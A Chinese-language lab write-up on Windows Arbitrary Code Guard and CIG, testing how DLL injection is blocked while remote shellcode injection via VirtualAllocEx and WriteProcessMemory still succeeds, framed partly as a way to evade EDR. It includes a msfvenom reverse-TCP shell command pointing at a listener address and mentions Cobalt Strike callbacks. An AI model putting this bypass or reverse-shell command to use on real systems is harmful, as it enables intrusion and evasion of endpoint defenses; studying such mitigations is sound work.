任意代码保护 (ACG)

ProcessDynamicCodePolicy



1.启用 ACG 后,Windows 内核通过强制执行以下策略来阻止内容进程在内存中创建和修改代码页:



2.代码页是不可变的。现有的进程代码页无法变为可写,因此始终具有其预期内容。内存管理器中的额外检查可强制执行此操作,以防止代码页变为可写或被进程本身修改。例如,不再可能使用 VirtualProtect 使图像代码页变为 PAGE_EXECUTE_READWRITE



无法创建新的、未签名的代码页。例如,不再可能使用 VirtualAlloc 创建新的 PAGE_EXECUTE_READWRITE 代码页。

有助于对抗EDR的检测,EDR会hook 程序的API函数来检查,EDR通常会将其DLL注入到监控进程中来安装hook。



image.png






ACG策略开启

使用processhacker 来查看,可以看到这里的Mitigation policies包含了ACG

image.png




这里命令的1开启了,另外一个就没开启

image.png


如果使用开启ProcessDynamicCodePolicy策略,直接dll注入那么会直接导致程序关闭,而且无法成功注入上线



dll注入

正常运行TestPolicy1.exe

image.png


注入dll后,可以看到线程退出、进程关闭,这样是没法成功的

image.png






代码注入bypass ACG

dll注入无法成功,那么如果改用创建线程注入是否能成功呢?



获取PID然后注入代码是可以成功上线的,我试着手动获取进程PID,我还试过了镜像列表寻找PID,当然这都是获得进程handle的方式。后面都是一样的步骤去执行shellcode注入,但是这里都失败了,可以看到请求了CS,但是程序被关闭,无法成功上线

image.png






根据以往的代码注入经验,可能和cs有关系,因为从程序上看是请求完cs后就直接退出了

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c

使用主机成功监听到了shell

image.png


image.png


使用上面说的镜像列表查找PID也是可以的

image.png





使用 API(如 OpenProcess)获取目标进程 x.exe 的句柄。

通过 VirtualAllocExx.exe 的地址空间中分配一块内存,注意此时Process权限为PROCESS_ALL_ACCESS可以通过VirtualAllocEx分配的内存属性是 PAGE_EXECUTE_READWRITE

将外部生成好的 Shellcode 写入这块内存中(WriteProcessMemory)。





父子进程小细节问题

手动关闭掉程序后,nc的shell还是不会断开

通过测试发现是因为启动程序的父进程cmd没有关闭,这里我是用cmd来启动程序的

image.png


如果我关闭后,结果就断开了

image.png


这里还和CS的连接不一样





对比 未开启ACG

关闭ACG策略后测试,进程注入成功上线

image.png




这里未开启ACG,直接可以用Processhacker来注入一个dll

image.png


也可以成功上线





再回到Process Monitor

这是正常运行的状态

image.png


这是成功注入后的 module里面看到了我们注入的dll以及TCP的网络回连(sxf的dll也自动注入了)

image.png


image.png


sangfor

这里发现了一个小插曲,当注入dll进行TCP请求的时候,sxf这个SangforTcpX64.dll也自动注入进来了,因为电脑下载了sxf相关软件,当只注入dll不进行TCP连接,sxf就不会注入dll

image.png




注入前的dll

image.png




SangforTcpx64.dll

image.png






开启ACG策略后直接运行,sxf dll被成功加载

image.png


这里居然绕过了acg成功加载了dll,有一条证据表示,可能为更高权限为内核级别注入

image.png






更严格的CIG策略

CIG 是用户态保护机制的一部分,但通过内核驱动的支持,它可以强制代码完整性验证 ,开启后需验证微软签名

这里编写了一个network程序会去就行网络请求,开启CIG策略后

image.png




可以看到sxf的dll直接没法加载,成功阻止了流氓dll的加载

image.png


注入微软签名的dll是可以的

CIG开启后dll注入.gif


但是我的网络请求也没有请求成功

image.png










总结

尽管启用了 ACG(Arbitrary Code Guard) 的 TestPolicy1.exe 阻止了我们的恶意 injector DLL (该 DLL 试图分配 RWX(读写执行)内存、将 shellcode 写入其中并执行),ACG 并未防止远程进程直接对启用了 ACG 的进程进行以下操作:

1 使用 VirtualAllocEx API 分配内存;

2 使用WriteProcessMemory API 写入 Shellcode;

3执行 Shellcode。

这种进程代码注入dll注入实现的方式不同。





区别:

Shellcode 是事先生成的机器代码,注入时不依赖目标进程生成动态代码,也不需要加载外部模块。

分配内存方式不同,一个是VirtualAllocEx通过进程句柄来分配,一个是VirtualAlloc在进程中加载分配绑定。





要点:

在同等权限下,ACG不会阻止远程通过VirtualAllocEX和WriteProcessMemory分配可执行内存。

在dll注入中,我们最后是需要LoadLibrary来加载动态模块dll,这里会被ACG拦截;而在代码注入中,我们调用远程API来执行,不需要模块加载。



ACG 能有效阻止注入的 DLL ,严格禁止目标进程分配和执行 RWX 内存。不完全限制外部进程操作目标进程自身。

无法防御远程进程通过 VirtualAllocEx 和 WriteProcessMemory API 的直接内存操作。这种方式绕过了 ACG 的限制。





理解

代码注入程序完成了shellcode的生成和准备工作,通过注入进程调用API修改分配了目标进程的内存页,使其shellcode变为可执行与目标进程绑定,完成注入。







0 条评论
某人
表情
可输入 255